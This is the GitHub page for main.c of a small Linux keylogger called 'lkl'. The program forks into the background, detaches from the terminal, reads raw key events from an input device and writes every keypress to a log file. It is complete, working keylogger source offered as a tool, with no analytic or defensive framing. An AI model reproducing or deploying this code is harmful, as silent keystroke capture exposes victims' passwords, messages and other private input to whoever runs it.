-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.c
More file actions
118 lines (78 loc) · 2.46 KB
/
main.c
File metadata and controls
118 lines (78 loc) · 2.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#include <stdio.h>
#include <linux/input.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
static FILE *f = NULL;
static pid_t p;
void cleanup(){
fclose(f);
}
int main(int argc, char **argv){
if(argc<3){
printf("usage: lkl [dev location] [logfile]\n");
return 0;
}
// I had gemini do this because this is not something a human should do
char key_map[256] = {
// Row 1: Numbers
[KEY_1] = '1', [KEY_2] = '2', [KEY_3] = '3', [KEY_4] = '4', [KEY_5] = '5',
[KEY_6] = '6', [KEY_7] = '7', [KEY_8] = '8', [KEY_9] = '9', [KEY_0] = '0',
[KEY_MINUS] = '-', [KEY_EQUAL] = '=',
// Row 2: QWERTY
[KEY_Q] = 'q', [KEY_W] = 'w', [KEY_E] = 'e', [KEY_R] = 'r', [KEY_T] = 't',
[KEY_Y] = 'y', [KEY_U] = 'u', [KEY_I] = 'i', [KEY_O] = 'o', [KEY_P] = 'p',
[KEY_LEFTBRACE] = '[', [KEY_RIGHTBRACE] = ']',
// Row 3: Home Row
[KEY_A] = 'a', [KEY_S] = 's', [KEY_D] = 'd', [KEY_F] = 'f', [KEY_G] = 'g',
[KEY_H] = 'h', [KEY_J] = 'j', [KEY_K] = 'k', [KEY_L] = 'l',
[KEY_SEMICOLON] = ';', [KEY_APOSTROPHE] = '\'', [KEY_GRAVE] = '`',
// Row 4: Bottom Row
[KEY_Z] = 'z', [KEY_X] = 'x', [KEY_C] = 'c', [KEY_V] = 'v', [KEY_B] = 'b',
[KEY_N] = 'n', [KEY_M] = 'm', [KEY_COMMA] = ',', [KEY_DOT] = '.', [KEY_SLASH] = '/',
// Special keys
[KEY_SPACE] = ' ',
[KEY_ENTER] = '\n',
[KEY_TAB] = '\t'
};
struct input_event ev;
p = fork();
if(p > 0){
exit(EXIT_SUCCESS);
}
else if(p<0){
printf("fork failed.\n");
exit(EXIT_FAILURE);
}
setsid();
f = fopen(argv[2],"w");
if(f == NULL){
printf("Can't open %s\n",argv[2]);
return 0;
}
atexit(cleanup);
int fd = open(argv[1],O_RDONLY);
if(fd == -1){
printf("file might not exist, or you might not be root\n");
fclose(f);
return 0;
}
while (1) {
// reading an input_event
ssize_t n = read(fd, &ev, sizeof(struct input_event));
// not an input_event
if (n < (ssize_t)sizeof(struct input_event)) {
break;
}
if (ev.type == EV_KEY) {
// we dont care about releases, only presses and autorepeats.
if(ev.value == 1 || ev.value == 2){
fputc(key_map[ev.code],f);
fflush(f);
}
}
}
return 0;
}